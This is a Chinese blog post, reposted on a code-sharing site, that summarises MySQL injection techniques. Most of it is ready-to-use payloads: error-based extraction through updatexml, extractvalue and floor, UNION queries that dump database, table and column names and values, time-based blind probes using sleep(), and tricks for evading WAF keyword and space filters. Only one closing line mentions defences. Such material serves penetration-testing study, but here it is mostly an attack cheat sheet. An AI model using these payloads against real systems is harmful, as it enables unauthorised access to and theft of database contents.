码迷,mamicode.com
首页 > 数据库 > 详细

MYSQL注入基础及绕过技巧总结

时间:2017-09-17 17:37:09      阅读:416      评论:0      收藏:0      [点我收藏+]

标签:sqlmap   实战   nan   换行符   技巧   mys   用户输入   长度   参数   

1、MYSQL注入原理:用户输入的内容被当作sql语句来执行

2、MYSQL注入实战心得:一试参数,二试类型,三试绕过

一试参数:任何注入参数,都需确定其类型(数字还是字符),此处指的是注入参数的类型(***)

  常用测试字符:引号(单双),圆括号,引号加圆括号......

二试类型:五大类(BEUST):布尔型盲注、报错型注入、UNION联合查询型注入、时间延迟型盲注、堆查询注入

  布尔型盲注:and 1=1 , and 1=2 , or 1=1 , or 1=2 ......

  报错型注入:

 floor:and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

 updatexml:and 1=updatexml(1,concat(0x7e,(select database())),1)

 extractvalue:and 1=extractvalue(1,concat(0x7e,(select database())))

 ......

 UNION联合查询型注入:

 order by n //定字段,n为正整数

 union select 1,2,3...... //看回显,无回显的时候尝试让union前的语句报错(@@@&&****)

 回显位爆库,表,字段,值,以第二位为回显位举例,常用命令如下所示:

   union select 1,group_concat(schema_name),3 from information_schema.schemata //爆库

 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()//爆表

 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘表名‘//爆字段

 union select 1,group_concat(字段1,0x3a,字段2),3 from 表名 //爆值,0x3a是用来分隔字段的,方便我们查看

 时间延迟型注入:根据页面响应延迟来判断,测试参数:and sleep(5)

 注入方法(猜解法):

 and if(length(database())>‘5‘,sleep(5),0)  //猜解库名长度

 and if(ord(mid(database(),1,1))>100,sleep(5),0)  //猜库名第一个字符

 ......此处借助sqlmap会更好一些

 堆查询注入:同时执行多条sql语句,可以执行增删改查语句,不同语句以分号隔开

三试绕过:就是不断地尝试,简单说几个

 绕过空格:+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号

 绕过union,select等关键字:大小写,双写(uniounionn,unionunion),内联注释(/*!union*/),编码

 绕过and、or:&&,||,%26%26,大小写,双写关键字(anandd,andand),编码

 ......       

3、MYSQL注入防御方法:黑白名单严格过滤用户输入的内容;使用参数化查询;使用sql注入安全防护设备   

MYSQL注入基础及绕过技巧总结

标签:sqlmap   实战   nan   换行符   技巧   mys   用户输入   长度   参数   

原文地址:http://www.cnblogs.com/peterpan0707007/p/7536126.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!